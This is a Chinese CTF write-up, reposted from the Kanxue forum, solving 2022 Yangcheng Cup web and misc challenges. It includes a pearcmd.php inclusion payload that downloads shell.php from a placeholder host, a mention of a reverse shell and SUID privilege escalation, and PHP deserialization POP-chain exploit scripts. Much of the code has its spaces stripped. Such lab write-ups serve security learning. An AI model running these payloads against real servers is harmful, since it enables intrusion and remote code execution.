查看原文
国际局势

2022羊城杯竞赛 Web题目解析

ArT1_ 看雪学苑 2022-09-22


本文为看雪论坛优秀文章

看雪论坛作者ID:ArT1_


WEB


rce_me


题目给了源码。

<?php(empty($_GET["file"])) ?highlight_file(__FILE__) : $file=$_GET["file"];functionfliter($var): bool{ $blacklist=["<","?","$","[","]",";","eval",">","@","_","create","install","pear"]; foreach($blacklistas$blackword){ if(stristr($var, $blackword)) returnFalse;}returnTrue;}if(fliter($_SERVER["QUERY_STRING"])){include$file;}else{die("Noooo0");}


题目提示要rce,而漏洞的利用点是一个include文件包含。


php环境限制了allow_url_include,所以能getshell的data和php://input都无法使用。


直接包含flag回显权限不够,所以考虑rce提权。


黑名单其实提供了一点线索,暗示本题通过pearcmd实现RCE。


首先需要确认是否存在pearcmd.php文件,尝试包含,发现在当前目录和/usr/local/lib/php/目录下都存在pearcmd.php。


pearcmd的常见思路是写文件getshell。

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php


但是本题做了过滤,file由于是get传参,因此可以url编码绕过pe%61rcmd.php。


但是在写文件时却不能采用此方法,$_SERVER["QUERY_STRING"]并没有提供url解码的功能,而且将<?编码会导致文件不能将代码识别为php而失败。


所以要转变一下思路,pearcmd.php的用法有很多,其中download可以下载文件,而且不经过include意味着不受allow_url_include的影响,因此可以实现远程文件下载。


payload:

http://80.endpoint-de4ae4b3e84d47a8b1eea291004b34a0.dasc.buuoj.cn:81&&+download+http://ip:port/shell.php


利用一句话木马反弹shell,再进行一个suid的提权。


payload:

find / -perm -u=s -type f 2>/dev/null


final payload:

/usr/bin/date -f /flag


step_by_step-v3

<?phperror_reporting(0);classyang{public$y1;//$y1 = new bei() $y1 = new cheng() publicfunction__construct(){ $this->y1->magic();//访问 __call()} publicfunction__tostring(){ ($this->y1)();// phpinfo()} publicfunctionhint(){ include_once('hint.php'); if(isset($_GET['file'])) { $file=$_GET['file']; if(preg_match("/$hey_mean_then/is", $file)) { die("nonono"); } include_once($file); }}} classcheng{public$c1;//$c1 = new yang() publicfunction__wakeup(){ $this->c1->flag='flag';} publicfunction__invoke(){ $this->c1->hint();//hint}} classbei{public$b1;//$b1 = new yang()public$b2; publicfunction__set($k1,$k2) //不可访问的变量赋值{ print$this->b1;} publicfunction__call($n1,$n2){ echo$this->b1;}} if(isset($_POST['ans'])) {unserialize($_POST['ans']);} else{highlight_file(__FILE__);}?>


利用点在

publicfunction__tostring(){ ($this->y1)();// phpinfo()}

可以读取到phpinfo。


起始点在cheng::__wakeup。


pop:

cheng::__wakeup ->bei::__set -> yang::__tostring


exp:

<?php// cheng::__wakeup ->bei::__set -> yang::__tostringclassyang{public$y1;publicfunction__construct($y1){ $this->y1=$y1;}}classcheng{public$c1;publicfunction__construct($c1){ $this->c1=$c1;}}classbei{public$b1;publicfunction__construct($b1){ $this->b1=$b1;}} $ya=newcheng(newbei(newyang('phpinfo')));$ser=serialize($ya);echo$ser;echourlencode($ser);?>


Safe pop

<?phperror_reporting(E_ALL);ini_set('display_errors', true);highlight_file(__FILE__);classFun{private$func='call_user_func_array';publicfunction__call($f,$p){ call_user_func($this->func,$f,$p);}publicfunction__wakeup(){ $this->func=''; die("Don't serialize me");}} classTest{publicfunctiongetFlag(){ system("cat /flag?");}publicfunction__call($f,$p){ phpinfo();}publicfunction__wakeup(){ echo"serialize me?"; classA{private$a;publicfunction__get($p){ if(preg_match("/Test/",get_class($this->a))){ return"No test in Prod\n"; } return$this->a->$p();}} classB{public$p;publicfunction__destruct(){ $p=$this->p; echo$this->a->$p;}}if(isset($_GET['pop'])){$pop=$_GET['pop'];$o=unserialize($pop);thrownewException("no pop");}


题目给了源码,要构造pop链,最终的目的应该是要调用Test类下的getFlag函数,在反序列化时,会销毁对象,从而会触发__destruct(),而__wakeup() :会在unserialize()时,自动调用,优先级高于destruct。


为了调用Test下的getFlag函数,我们需要用到call_user_func()函数进行构造,而call_user_func()函数由call触发。

__call()//在对象中调用一个不可访问方法时调用


注意到class A有一个

return $this->a->$p();


p可控,只要让他成为一个不可访问的方法即可触发call。

__get() :当从不可访问的属性读取数据。例如从对象外部访问由private和protect修饰的属性,就会调用该方法,其中传递的形参为访问属性的属性名


class B有一个调用类的功能,由此来触发class A,class中的destruct又可以由反序列化直接触发,于是就形成了一条完整的链子。

$this->a->$p;


pop:

b::__destruct() -> a::__get() -> Fun::__call() -> Test::getFlag


exp:

<?phpclass Fun{ }class A{public $a;public function __construct($a){ $this -> a = $a;}}class B{public $p;public $a;public function __construct($p,$a){ $this -> p = $p; $this -> a = $a;}} $b = new B(new A(new Fun()),"Test::getFlag");echo serialize($b);$arr = array($b,null);$serstr = serialize($arr);$serstr = str_replace(":0:{}", ":1:{}", $serstr);$serstr = str_replace(":1;N", ":0;N", $serstr);echo $serstr;echo '<br/>';echo urlencode($serstr);?>


这道题目的难点在于他还抛出了一个exception异常,导致程序无法正常结束,从而无法触发CG回收机制,也就无法触发destruct方法。

throw new Exception("no pop");


这里可以用array数组手动释放对象,从而触发CG回收,只需要把array1的下标更改为0,就会覆盖array0的实例对象。


关于php的CG回收机制(https://pankas.top/2022/08/04/php(phar),这篇文章做了很详细的描述:

https://pankas.top/2022/08/04/php(phar)%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%90%84%E7%A7%8D%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/)



misc


签到


给了一段编码。


值得注意的是文件名33.txt。

ZMJTPM33TMFGPA3STZ2JVBYSZRMGBZELT44QDLEET5GQTMEITIFJZZOMTH4K2===


这段编码就是base32没有问题,但是解出来却是乱码,于是考虑第二3指代什么。


尝试rot13先解一次码,再base32成功得到flag。


where_is_secret


给了一张图片,并在hint中给了encode脚本。

fromPILimportImageimportmath defencode(text):str_len= len(text)width= math.ceil(str_len**0.5) #长度的一半,并向上取整im= Image.new("RGB", (width, width), 0x0) #新建一张图 x, y= 0, 0foriintext: index= ord(i) #转化为数字 rgb= (0, (index&0xFF00) >>8, index&0xFF) im.putpixel((x, y), rgb) ifx== width-1: x= 0 y+= 1 else: x+= 1returnim if__name__== '__main__':withopen("829962.txt", encoding="gbk") asf: #以gbk的方式打开() all_text= f.read() im= encode(all_text) im.save("out.bmp")


分析来看就是把文件内容gbk编码,把大于0xff的部分缩小8倍放到图片的g里,小于0xff的部分放到图片的b里。


exp:

fromPILimportImageimg= Image.open('out.bmp')x, y= img.sizeflag= ""flag1= ""withopen('ans.txt') asf:foriinrange(x): forjinrange(y): pix= img.getpixel((j, i)) index= (pix[1] <<8) +pix[2] flag= flag+chr(index)# print(flag)foriinrange(1, len(flag)-1):print(flag[i]) if(((ord(flag[i])<=125andord(flag[i])>=97) or(ord(flag[i])<=57andord(flag[i])>=48)or(ord(flag[i])<=95andord(flag[i])>=65))and(ord(flag[i+1])>125orord(flag[i+1])<48) and(ord(flag[i-1])>125orord(flag[i-1])<48) orord(flag[i])==95): flag1= flag1+"@"+flag[i-1] +flag[i] +flag[i+1]print(flag1)


得到的是一段中文,在里面穿插了flag。


由于有原来文本中的数字和字母,这里考虑把有可能的字母数字提取出来,以@为分隔符,根据前后判断人为筛选一遍。


关于pop的部分,之后会再做一个比较详细的整理。





看雪ID:ArT1_

https://bbs.pediy.com/user-home-955273.htm

*本文由看雪论坛 ArT1_ 原创,转载请注明来自看雪社区

长按图片,扫码报名参会


最后2天!早鸟票即将截止



# 往期推荐

1.CVE-2020-1054提权漏洞学习笔记

2.逆向分析sign算法

3.CVE-2021-38001漏洞利用

4.Frida-objection 基础使用获取FLAG

5.“羊了个羊”通关修改思路

6.CVE-2013-3660提权漏洞学习笔记






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存